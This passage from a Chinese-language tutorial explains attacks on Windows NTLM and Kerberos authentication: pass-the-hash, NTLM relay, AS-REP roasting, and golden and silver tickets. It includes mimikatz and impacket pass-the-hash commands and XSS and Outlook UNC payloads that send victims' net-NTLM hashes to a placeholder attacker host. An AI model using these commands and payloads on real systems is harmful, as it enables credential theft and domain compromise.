使用不同工具破解ntds文件時需要注意最好使用與導出ntds文件域控相同操作系統(tǒng)版本的系統(tǒng)進行破解否則可能會出現(xiàn)失敗的情況。

4、其他方式

除了以上基礎方法外，還有其他許多方法組合，比如使用 Net NTLM hash v1，使用 wmic 配合其他方法，使用其他程序等等，這里就不過多展開了，有興趣的同學可以自行研究。

四、NTLM 協(xié)議攻擊思路

1、hash 傳遞

hash傳遞攻擊pass the hash簡稱 PTH 。

由于 NTLM 驗證過程中在 type 3 階段計算 response 的時候客戶端是使用用戶的 hash 進行計算的而不是用戶密碼進行計算的。因此在模擬用戶登錄的時候是不需要用戶明文密碼的只需要用戶hash。

微軟在2014年5月13日發(fā)布了針對 Pass The Hash 的更新補丁 kb2871997標題為“Update to fix the Pass-The-Hash Vulnerability”,而在一周后卻把標題改成了“Update to improve credentials protection and management”。同時該補丁還能阻止mimikatz 抓取明文密碼。

嚴格意義上講hash傳遞只是完成一個不需要輸入密碼的NTLM協(xié)議認證流程所以并不算是一個漏洞只能算是一個技巧。

a、常用工具

哈希傳遞作為一個比較常見的攻擊方式對應的工具有很多。常見的有

1.mimikatz

privilege::debug
sekurlsa::pth /user:win10 /domain:test.local /ntlm:6a6293bc0c56d7b9731e2d5506065e4a

2.impacket

impacket的模塊中有5個都支持 hash 傳遞。

psexec.py

smbexec.py

atexec.py

wmiexec.py

dcomexec.py

舉例說明

python wmiexec.py -hash LMhash:NThash username@ipaddress
python wmiexec.py -hashes :NThash username@ipaddress

3.msf

use exploit/windows/smb/psexec_psh

4.CobalStrike

2、信息收集

在 NTLM 協(xié)議過程中在 type 2 返回 Challenge 的過程中同時返回了操作系統(tǒng)類型主機名netbios 名等信息。那么如果向一臺服務器發(fā)送 type 1 信息收集 type 2 的返回信息就可以獲得目標服務器的很多信息。

由于 NTLM 是一個嵌入式的協(xié)議消息的傳輸依賴于使用上層協(xié)議所以可以利用多種上層協(xié)議嵌入 NTLM 協(xié)議發(fā)送請求來獲取信息。最常見最經(jīng)典就是 msf 中的 smb_version 模塊。在目標主機開放了445或者139的情況通過給服務器發(fā)送一個type1的請求然后解析type2的響應。就可以收集到一些信息。

除 msf 版外還有python、c#等版本。

python版https://github.com/amitn322/smb-version

c#版https://www.zcgonvh.com/post/CSharp_smb_version_Detection.html

3、中間人攻擊

NTLM relay攻擊即中間人攻擊。由于 NTLM 協(xié)議是一個嵌入式的協(xié)議因此當 NTLM 的上層協(xié)議是 smb 的情況下ntlm relay 就是 smb relay。那如果上層協(xié)議是 http也可以叫做 http relay但是都統(tǒng)稱 ntlm relay。

a、ntlm relay 的一般過程

正常的 ntlm 認證 type 1type 2type 3 流程。

而中間人攻擊則是在這個過程中作為中間人攻擊者將來自客戶端的包(type 1)轉發(fā)給服務端將來自服務端的challenge(type 2)轉發(fā)給客戶端然后客戶端計算完response 之后再把response(type 3) 轉發(fā)給服務端服務端驗證rsponse通過之后授予攻擊者訪問的權限。

b、跨協(xié)議的relay

鑒于 NTLM 協(xié)議的特性也可以在一個協(xié)議里面提取 ntlm 認證信息放進另外一個協(xié)議里面實現(xiàn)跨協(xié)議的relay。

c、中繼和反射relay or reflet

什么是反射

如果 Inventory Server 和 Target 是同一臺機器攻擊者拿到 Inventory Server 發(fā)來的請求之后發(fā)回給 Inventory Server 進行認證。這個就是反射reflect。

反射的應用

在工作組環(huán)境里面工作組中的機器之間相互沒有信任關系每臺機器的賬號密碼只是保存在自己的SAM文件中此時將中繼到其他機器就沒有任何意義了。

最能體現(xiàn)其特點的就是 CVE-2018-8581。通過抓到管理員hash并將其反射回自己從而實現(xiàn)短暫的權限提升。

d、NTLM 請求發(fā)起

既然是中間人攻擊那么關鍵問題就在于如何才能發(fā)起請求。發(fā)起請求的方法有很多但使用條件都較為苛刻就不過多贅述這里只介紹可行性最大的一種。

XSS & Outlook

利用xss構造

<script src="\\ipaddress\xss">

這種情況適用于 IE 和 edge其他瀏覽器不允許從 http 協(xié)議跨到 file 協(xié)議。

如果使用 http 請求來發(fā)起認證在默認情況下需要手動輸入用戶信息進行驗證除非該站點的域名位于企業(yè)內部網(wǎng)或存在于可信站點列表中。否則都會跳出認證框來讓操作者再輸入一次。

除非在安全設置中將“用戶身份驗證”選項中“登錄”設置為自動使用當前用戶名和密碼登錄才能拿到用戶的net-ntlm hash。

發(fā)送郵件是支持html的并且 outlook 中的圖片加載路徑可以是 UNC。同 XSS 將圖片地址構造為攻擊 payload。

<img src="\\ipaddress\outlook">

當收件人打開outlook查看郵件的時候就可以收到net-ntlm hash。

五、kerberos 協(xié)議攻擊思路

1、pass the key

pass the key簡稱 PTK與 hash 傳遞類似都是由于認證過程中不需要明文密碼因此可以直接使用用 hash 代替明文密碼。

由于在進行認證的時候是用用戶hash加密時間戳即使在使用密碼進行登錄的情況下也是先把密碼加密成hash再進行認證。因此在只有用戶hash沒有明文密碼的情況下也是可以進行認證的。不管是rubeus還是impacket里面的相關腳本都是支持直接使用hash進行認證。

2、pass the ticket

Kerbreos 除了第一步AS-ERQ 是使用時間戳加密用戶hash驗證之外其他的步驟的驗證都是通過票據(jù)這個票據(jù) 可以是TGT票據(jù)或者TGS票據(jù)。因為票據(jù)里面的內容主要是 sessionkey 和 ticket 使用服務hash加密的服務包括krbtgt拿到票據(jù)之后。就可以用這個票據(jù)來作為下階段的驗證了。

3、枚舉爆破

a、用戶名枚舉

由于 AS-REP 返回的 cname 字段在用戶名正確和不正確存在或不存在時回顯結果不一樣。

在用戶名正確密碼錯誤的時候回顯結果為KDC_ERR_PREAUTH_FAILED在用戶名不存在時回顯結果為KDE_ERR_C_PRINCIPAL_UNKNOWN

通過這個比較就可以對 cname 的值進行用戶名枚舉。在域內沒有域賬號的情況下進行用戶名枚舉在有賬號的情況的下通過 LDAP 查詢就行。如果有域內機器的 system 權限那那臺機器也是個域賬戶賬戶名是機器名$。

使用 nmap 腳本 krb5-enum-users 可以枚舉域內用戶。

b、密碼爆破

同用戶名枚舉在密碼正確和不正確時AS-REP 返回包返回結果不同這個時候就可以進行密碼爆破。

密碼噴灑Password Spraying對密碼進行噴灑式的攻擊它屬于自動化密碼猜測的一種通常是為了避免帳戶被鎖定。因為針對同一個用戶的連續(xù)密碼猜測會導致帳戶被鎖定。所以只有對所有用戶同時執(zhí)行特定的密碼登錄嘗試才能增加破解的概率消除帳戶被鎖定的概率。

4、AS-REP Roasting

對于域用戶如果設置了選項Do not require Kerberos preauthentication不要求 Kerberos 預驗證身份此時向域控制器的88端口發(fā)送ASR-EQ請求對收到的ASR-EP內容(enc-part底下的ciper因為這部分是使用用戶 hash 加密 session-key通過進行離線爆破就可以獲得用戶 hash )重新組合能夠拼接成“Kerberos 5 AS-REP etype 23”(18200)的格式接下來可以使用hashcat對其破解最終獲得該用戶的明文口令。

5、黃金票據(jù)

在 AS_REP 里面的 ticket 的 encpart 是使用 krbtgt 的 hash 進行加密的如果擁有 krbtgt 的 hash就可以給自己簽發(fā)任意用戶的 TGT 票據(jù)這個票據(jù)也被稱為黃金票據(jù)。

6、白銀票據(jù)

在 TGS_REP 里面的 ticket 的 encpart 是使用服務的 hash 進行加密的如果擁有服務的 hash就可以給自己簽發(fā)任意用戶的 TGS 票據(jù)這個票據(jù)也被稱為白銀票據(jù)。

相較于黃金票據(jù)白銀票據(jù)使用要訪問服務的 hash而不是 krbtgt 的hash由于生成的是 TGS 票據(jù)不需要跟域控打交道但是白銀票票據(jù)只能訪問特定服務。但是要注意的一點是偽造的白銀票據(jù)沒有帶有有效 KDC 簽名的 PAC。如果將目標主機配置為驗證 KDC PAC 簽名則銀票將不起作用。

看完上述內容，你們掌握Windows中怎么實現(xiàn)身份認證的方法了嗎？如果還想學到更多技能或想了解更多相關內容，歡迎關注億速云行業(yè)資訊頻道，感謝各位的閱讀！